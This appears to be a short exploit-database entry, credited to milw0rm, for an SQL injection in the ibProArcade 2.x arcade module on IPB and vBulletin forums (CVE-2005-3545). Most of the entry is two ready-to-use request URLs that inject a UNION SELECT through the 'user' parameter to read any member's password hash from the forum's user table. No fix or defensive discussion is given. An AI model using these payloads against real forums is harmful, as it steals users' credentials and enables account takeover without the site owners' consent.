ibProArcade 2.x - module 'vBulletin/IPB' SQL Injection



EKU-ID: 9395 CVE: OSVDB-20514;CVE-2005-3545;OSVDB-12091 OSVDB-ID:
Author: B~HFH Published: 2005-11-06 Verified: Verified
Download:

Rating

☆☆☆☆☆
Home


# Rankings for (name) will state the md5 hash for the user /str0ke
# ibProArcade 2.x

IPB:
index.php?act=Arcade&module=report&user=-1 union select password from ibf_members where id=[any_user]

vBulettin forums:
index.php?act=ibProArcade&module=report&user=-1 union select password from user where userid=[any_user]

Author: B~HFH
Email:  bhfh01@gmail.com

# milw0rm.com [2005-11-06]